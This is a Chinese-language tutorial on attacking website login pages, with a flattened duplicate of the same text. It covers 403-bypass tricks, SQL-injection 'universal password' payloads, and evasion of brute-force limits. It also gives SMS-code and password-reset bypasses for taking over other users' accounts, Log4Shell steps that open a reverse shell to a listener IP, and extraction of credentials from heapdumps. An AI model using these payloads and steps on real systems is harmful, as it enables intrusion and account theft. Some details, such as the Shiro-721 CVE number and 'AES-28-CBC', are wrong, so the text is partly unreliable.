登录口的对抗
字数 2009 2025-08-19 12:42:36

登录口渗透测试技术详解

常规操作

目录扫描技术

  1. 常用工具

    • dirsearch
    • gobuster
    • wfuzz
    • TidePlues
  2. 扫描策略

    • 使用不同扫描工具组合,因算法和字典差异可提高发现率
    • 特别关注403状态码路径,可能存在绕过机会
  3. 403绕过技术

    • 使用dirsearch_bypass403工具
    • 尝试以下拼接方式:
      • ../
      • ..;/
      • /*/
      • %09
      • %20
    • 发现未授权页面后尝试SQL注入或参数构造

SQL注入攻击

  1. 检测原则

    • 所有数据交互点都应测试SQL注入可能
  2. 万能密码技术

    • 已知用户名情况:
      admin' or 1=1 #
      
    • 未知用户名情况:
      1' or 1=1 #
      
    • 当#被过滤时:
      admin' or '1'='1' or '1'='1
      
  3. SQL执行原理

    • 示例后台语句:
      select * from users where username='1' or 1=1 #' and password=$password
      
    • 注意and优先级高于or

弱口令爆破

  1. 用户名探测

    • 通过不同用户名返回不同提示信息识别有效用户名
  2. 爆破防护绕过

    • 使用Yakit的随机延迟功能
    • 使用代理池,每次请求更换IP
    • 伪造多人登录场景

逻辑缺陷利用

验证码绕过

  1. 图形验证码绕过

    • 修改值为空/null/true
    • 验证码复用或失效
    • 随机值可控(前端生成验证码)
  2. 验证码前端生成检测

    • 检查请求URL或参数中的base64编码值
    • url?characters=1111形式
  3. 自动化工具

    • BurpSuite定义宏
    • Yakit定义序列

短信验证码绕过

  1. 手机号变形

    • 数字前加空格、+86、+086、+0086、+0 00
    • 添加特殊字符:/r/n?#!
  2. 多值提交

    • moblile=number,number
    • mobile=number&mobile=number
  3. 其他绕过方式

    • 提交其他用户的验证码
    • 四位验证码暴力破解
    • 尝试固定值:111111、000000
    • 修改接收验证码的手机号(拦截请求修改)

密码重置漏洞

  1. 流程跳跃

    • 伪造回显数据包跳过验证步骤
    • 直接进入修改密码环节
  2. 参数替换

    • 修改mobile参数未与cookie绑定
    • 替换为其他用户手机号修改其密码

信息收集技术

使用手册分析

  • 获取初始密码或命名规则
  • 生成针对性爆破字典

Web网站与APP关联

  1. 攻击面扩展

    • Web端受限时可尝试关联APP
    • APP可能简化注册流程(如仅手机号注册)
  2. 数据库共用

    • Web和APP可能共用同一数据库
    • 在APP注册的用户可能可用于Web登录

网站源码分析

  1. 开源框架识别

    • 查找GitHub等开源项目引用
    • 获取默认凭证或进行代码审计
  2. 演示系统利用

    • 通过软件名称/图片在FOFA、鹰图搜索演示系统
    • 发现上传路径或查询接口后在真实系统尝试

网站框架漏洞

Webpack技术

  1. 特征识别

    • 存在app.xxxxxx.jschunk.xxxxx.js
    • 可能暴露Webpack://sourceMappingURL
  2. 自动化工具

    • 使用Packer Fuzzer工具:
      • 自动提取API及参数
      • 检测七类漏洞:
        1. 未授权访问
        2. 敏感信息泄露
        3. CORS
        4. SQL注入
        5. 水平越权
        6. 弱口令
        7. 任意文件上传

Shiro框架

  1. 特征识别

    • "记住我"功能
    • 前端代码出现rememberMe
    • 响应包含rememberMe=deleteMe
  2. 漏洞分类

    • Shiro-550 (CVE-2016-4437)
      • Apache Shiro<=1.2.4
      • 硬编码密钥
    • Shiro-721 (CVE-2019-13422)
      • Apache Shiro<1.4.2
      • AES-28-CBC加密存在Padding Oracle Attack漏洞
  3. 探测工具

    • Heimdallr插件

Log4j2漏洞

  1. 漏洞原理

    • JNDI注入缺陷
    • 通过${jndi:xxx}触发远程代码执行
  2. 检测工具

    • Yakit插件:Log4Shell漏洞检测
    • BurpSuite:TsojanScan被动扫描
  3. 利用案例

    • 在登录页面参数如name=eventide=处发现漏洞
  4. 利用步骤

    # 启动JNDIExploit
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 6666 -i 192.168.242.4
    
    # 启动nc监听
    nc -lvvp 10010
    
    # 构造payload访问
    http://your-ip/path?param=${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}
    

网站接口漏洞

源代码接口拼接

  1. JS文件分析

    • 查找未授权接口
    • 构造数据访问
  2. 报错信息利用

    • 通过不断报错构造请求方式和参数

Swagger接口

  1. 发现方式

    • 目录爆破发现Swagger-ui界面
  2. 自动化工具

    python swagger-hack2.0.py -u https://xxxx/swagger/v1/swagger.json
    
    • 快速探测接口存活状态
    • 可能直接发现信息泄露接口

Springboot Actuator

  1. env目录利用

    • 目录爆破发现env目录
    • Spring actuator未授权漏洞
  2. heapdump文件分析

    • 下载heapdump文件(.hprof)
    • 使用JDumpSpider提取敏感信息:
      java -jar JDumpSpider.jar heapdump
      
    • 优先级信息:
      1. 数据库凭证及地址
      2. Shiro密钥
      3. 部署端口信息

渗透测试方法论

  1. 黑盒测试原则

    • 不断尝试不同攻击方式
    • 注重细节分析
  2. 登录页面测试要点

    • 检查每个请求及回显数据包
    • 分析参数注释及报错信息
    • 逻辑漏洞需要发散思维
    • 考虑程序设计未覆盖的场景
登录口渗透测试技术详解 常规操作 目录扫描技术 常用工具 : dirsearch gobuster wfuzz TidePlues 扫描策略 : 使用不同扫描工具组合,因算法和字典差异可提高发现率 特别关注403状态码路径,可能存在绕过机会 403绕过技术 : 使用dirsearch_ bypass403工具 尝试以下拼接方式: ../ ..;/ /*/ %09 %20 发现未授权页面后尝试SQL注入或参数构造 SQL注入攻击 检测原则 : 所有数据交互点都应测试SQL注入可能 万能密码技术 : 已知用户名情况: 未知用户名情况: 当#被过滤时: SQL执行原理 : 示例后台语句: 注意 and 优先级高于 or 弱口令爆破 用户名探测 : 通过不同用户名返回不同提示信息识别有效用户名 爆破防护绕过 : 使用Yakit的随机延迟功能 使用代理池,每次请求更换IP 伪造多人登录场景 逻辑缺陷利用 验证码绕过 图形验证码绕过 : 修改值为空/null/true 验证码复用或失效 随机值可控(前端生成验证码) 验证码前端生成检测 : 检查请求URL或参数中的base64编码值 如 url?characters=1111 形式 自动化工具 : BurpSuite定义宏 Yakit定义序列 短信验证码绕过 手机号变形 : 数字前加空格、+86、+086、+0086、+0 00 添加特殊字符: /r 、 /n 、 ? 、 # 、 ! 多值提交 : moblile=number,number mobile=number&mobile=number 其他绕过方式 : 提交其他用户的验证码 四位验证码暴力破解 尝试固定值:111111、000000 修改接收验证码的手机号(拦截请求修改) 密码重置漏洞 流程跳跃 : 伪造回显数据包跳过验证步骤 直接进入修改密码环节 参数替换 : 修改mobile参数未与cookie绑定 替换为其他用户手机号修改其密码 信息收集技术 使用手册分析 获取初始密码或命名规则 生成针对性爆破字典 Web网站与APP关联 攻击面扩展 : Web端受限时可尝试关联APP APP可能简化注册流程(如仅手机号注册) 数据库共用 : Web和APP可能共用同一数据库 在APP注册的用户可能可用于Web登录 网站源码分析 开源框架识别 : 查找GitHub等开源项目引用 获取默认凭证或进行代码审计 演示系统利用 : 通过软件名称/图片在FOFA、鹰图搜索演示系统 发现上传路径或查询接口后在真实系统尝试 网站框架漏洞 Webpack技术 特征识别 : 存在 app.xxxxxx.js 和 chunk.xxxxx.js 可能暴露 Webpack:// 和 sourceMappingURL 自动化工具 : 使用Packer Fuzzer工具: 自动提取API及参数 检测七类漏洞: 未授权访问 敏感信息泄露 CORS SQL注入 水平越权 弱口令 任意文件上传 Shiro框架 特征识别 : "记住我"功能 前端代码出现 rememberMe 响应包含 rememberMe=deleteMe 漏洞分类 : Shiro-550 (CVE-2016-4437) : Apache Shiro <=1.2.4 硬编码密钥 Shiro-721 (CVE-2019-13422) : Apache Shiro <1.4.2 AES-28-CBC加密存在Padding Oracle Attack漏洞 探测工具 : Heimdallr插件 Log4j2漏洞 漏洞原理 : JNDI注入缺陷 通过 ${jndi:xxx} 触发远程代码执行 检测工具 : Yakit插件:Log4Shell漏洞检测 BurpSuite:TsojanScan被动扫描 利用案例 : 在登录页面参数如 name= 、 eventide= 处发现漏洞 利用步骤 : 网站接口漏洞 源代码接口拼接 JS文件分析 : 查找未授权接口 构造数据访问 报错信息利用 : 通过不断报错构造请求方式和参数 Swagger接口 发现方式 : 目录爆破发现Swagger-ui界面 自动化工具 : 快速探测接口存活状态 可能直接发现信息泄露接口 Springboot Actuator env目录利用 : 目录爆破发现env目录 Spring actuator未授权漏洞 heapdump文件分析 : 下载heapdump文件(.hprof) 使用JDumpSpider提取敏感信息: 优先级信息: 数据库凭证及地址 Shiro密钥 部署端口信息 渗透测试方法论 黑盒测试原则 : 不断尝试不同攻击方式 注重细节分析 登录页面测试要点 : 检查每个请求及回显数据包 分析参数注释及报错信息 逻辑漏洞需要发散思维 考虑程序设计未覆盖的场景